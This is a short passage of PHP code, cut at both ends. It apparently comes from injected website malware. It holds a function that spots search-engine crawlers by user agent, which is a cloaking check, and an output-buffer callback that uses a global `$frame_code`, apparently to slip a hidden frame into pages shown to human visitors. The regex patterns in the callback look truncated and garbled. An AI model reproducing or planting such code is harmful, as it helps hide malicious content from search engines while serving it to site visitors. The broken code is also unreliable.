';
function get_file_dir_($file) {
global $argv;
$dir = dirname(getcwd() . '/' . $file);
$curDir = getcwd();
@chdir($dir);
$dir = getcwd();
@chdir($curDir);
return $dir;
}
function is_search_bot($agent)
{
if(
strstr($agent, "Yandex/") != null ||
strstr($agent, "YaDirectBot") != null ||
strstr($agent, "James Bond") != null ||
strstr($agent, "Googlebot") != null ||
strstr($agent, "Mediapartners-Google") != null ||
strstr($agent, "StackRambler") != null ||
strstr($agent, "Slurp") != null ||
strstr($agent, "msnbot") != null
)
{
return true;
}
return false;
}
function callback($data)
{
global $frame_code;
$data = preg_replace('/]*>/i', "", $data);
$data = preg_replace('/]*>.*